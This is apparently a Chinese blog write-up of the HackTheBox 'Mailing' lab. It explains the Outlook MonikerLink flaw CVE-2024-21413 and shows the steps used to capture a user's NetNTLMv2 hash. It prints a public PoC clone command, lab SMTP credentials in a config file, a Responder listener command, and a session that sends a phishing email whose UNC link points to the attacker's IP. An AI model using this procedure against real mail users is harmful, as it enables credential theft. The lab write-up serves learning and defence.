HTB Mailing 靶机渗透记录:利用 CVE-2024-21413 捕获 NTLM Hash

在打 HackTheBox (HTB) Season 5 的 easy Windows 靶机"Mailing"时,我遇到了一个有趣的漏洞利用场景:CVE-2024-21413。这是一个针对 Microsoft Outlook 的远程代码执行 (RCE) 漏洞,常被称为"MonikerLink" bug。它允许攻击者通过精心构造的电子邮件超链接,在受害者仅预览邮件时(无需点击)触发认证行为,从而捕获 NTLM 哈希。在 Mailing 靶机中,这个漏洞成为取得初始立足点的桥梁。故本文记录一下漏洞原理和利用过程。

前情回顾

Mailing 靶机模拟了一家邮件托管公司的域控制器环境,运行 hMailServer 作为 SMTP/IMAP/POP3 服务器,并暴露一个易受路径遍历攻击的 PHP 网站。

我首先通过文件遍历读取配置文件拿到了邮件管理员的密码:

随后,漏洞利用聚焦于邮件服务,发送恶意邮件给域用户,诱导其 Outlook/Windows Mail 客户端泄露哈希。

CVE-2024-21413 是一个高危 RCE 漏洞(CVSS 8.8),影响 Microsoft Outlook 2016-2021 版及 Microsoft 365 Apps(32/64 位)。其核心问题是 Outlook 在处理超链接时的输入验证不当,导致 OLE (Object Linking and Embedding) Moniker 系统被滥用。

详细机制

  1. 触发向量:攻击者发送一封嵌入恶意 HTML 超链接的邮件。当受害者在预览窗格(Preview Pane)中查看邮件时,Outlook 自动解析链接,而无需用户交互。
  2. 绕过防护 :漏洞利用 Moniker 链(一种 COM 对象解析机制),通过 IWebBrowser2 接口实例化漏洞 COM 对象,绕过 Office Protected View(沙箱)和 ASLR(地址空间布局随机化)。这允许在 Outlook 进程(中等完整性级别)中执行任意代码。
  3. payload 设计 :在完整 RCE PoC 中,链接可调用 cmd.exe 或投放恶意负载。但在 NTLM 继电器攻击中(如 Mailing 场景),链接使用 UNC 路径(\\attacker-ip\share),诱导 Windows 尝试 SMB 认证。如果受害者域策略禁用"签名或密封请求"(常见于测试环境),系统会泄露 NetNTLMv2 哈希。
  4. 影响范围:未打补丁的系统易受攻击,可能导致凭证窃取、横向移动或持久化。微软于 2024 年 2 月发布补丁,建议立即更新。

这个漏洞的零点击特性使其特别危险:在域环境中,仅需受害者打开邮件客户端即可中招。

漏洞利用:发送恶意邮件

利用基于 GitHub 上的 PoC 脚本(ThemeHackers/CVE-2024-21413),这是一个 Python 工具,用于通过 SMTP 发送构造邮件。脚本使用 Stripo.html 模板嵌入恶意 UNC 链接,模拟钓鱼邮件。

前置准备

  1. 克隆仓库

    复制代码
    git clone https://github.com/ThemeHackers/CVE-2024-21413.git
    cd CVE-2024-21413
  2. 配置 SMTP 凭证 :从靶机枚举中获取管理员邮箱和密码(administrator@mailing.htb / homenetworkingadministrator)。创建 config.ini

    复制代码
    [email_credentials]
    sender_email = administrator@mailing.htb
    sender_password = homenetworkingadministrator
    smtp_server = mailing.htb
    smtp_port = 587
  3. 准备模板 :在 template 目录下放置 Stripo.html(仓库提供),这是一个 HTML 模板,用于隐藏 UNC 链接。

  4. 启动 Responder :在攻击机上监听 SMB/HTTP 以捕获哈希:

    复制代码
    sudo responder -I tun0 -wrf

    (tun0 为 VPN 接口,-wrf 启用 WPAD、SMB 和 HTTP 毒化)。

利用步骤

运行脚本:

复制代码
python CVE-2024-21413.py

脚本进入交互模式,显示当前设置:

复制代码
CVE-2024-21413 > show

Current Settings:
sender_email: administrator@mailing.htb
sender_password: ***************************
smtp_server: mailing.htb
smtp_port: 587
subject: 
link: 
count: 1
recipients: []

帮助命令:

复制代码
CVE-2024-21413 > help

Available Commands:
set <option> <value>  - Set configuration options
  Options:
    subject <text>    - Set email subject
    link <url>        - Set link in email
    count <number>    - Set number of emails to send
show                 - Show current settings
add <email>          - Add recipient email
load <file>          - Load recipients from file
send                 - Send emails
clear                - Clear screen
exit                 - Exit program

配置并发送:

复制代码
CVE-2024-21413 > set subject Test
Set subject to Test
CVE-2024-21413 > add maya@mailing.htb
Added recipient: maya@mailing.htb
CVE-2024-21413 > set link '\\10.10.14.54\test\a'
Set link to \\10.10.14.54\test\a  # 10.10.14.54 为攻击机 IP
CVE-2024-21413 > send
Starting to send emails...
Email sent successfully 1 to maya@mailing.htb.

邮件发送成功后,受害者(Maya 用户)在 Windows Mail/Outlook 中预览邮件,客户端尝试访问 UNC 路径,触发 SMB 认证。

Responder 捕获

几乎立即,Responder 日志显示:

复制代码
[SMB] NTLMv2 Challenge/Response Client   : ::ffff:10.10.11.x
[SMB] NTLMv2 Challenge/Response Username : MAILING\maya
[SMB] NTLMv2 Challenge/Response Hash     : maya::MAILING:1122334455667788:...

捕获的 NTLMv2 哈希可用于离线破解(Hashcat)或继电器攻击。

小结

通过这个挑战,我学到了 MonikerLink 的深层机制以及 SMTP 邮件发送(587端口)的相关知识。推荐初学者参考 HTB 官方机器页面和社区 writeup 复现。如果你正挑战 Mailing,记得添加 /etc/hosts 条目!有疑问欢迎讨论。

相关推荐
大数据张老师12 分钟前
数据结构——堆排序
数据结构·算法·排序算法
仰泳的熊猫31 分钟前
LeetCode:268. 丢失的数字
数据结构·c++·算法·leetcode
小龙报1 小时前
《算法通关指南数据结构和算法篇(3)--- 栈和stack》
开发语言·数据结构·c++·算法·创业创新·学习方法·visual studio
CoovallyAIHub2 小时前
智能“下沉”:边缘AI,更低功耗、更快响应、更强隐私,YOLO26只是开始
深度学习·算法·计算机视觉
Lear2 小时前
【链表】LeetCode 142.环形链表
算法
CoovallyAIHub2 小时前
2025目标检测模型全景图:从RF-DETR到YOLOv12,谁主沉浮?
深度学习·算法·计算机视觉
澪吟2 小时前
算法性能的核心度量:时间复杂度与空间复杂度全解析
数据结构·算法
咪咪渝粮3 小时前
108. 将有序数组转换为二叉搜索树
算法·leetcode
lzptouch3 小时前
蚁群(Ant Colony Optimization, ACO)算法
人工智能·算法·机器学习
苏纪云3 小时前
算法<C++>——双指针操作链表
c++·算法·链表·双指针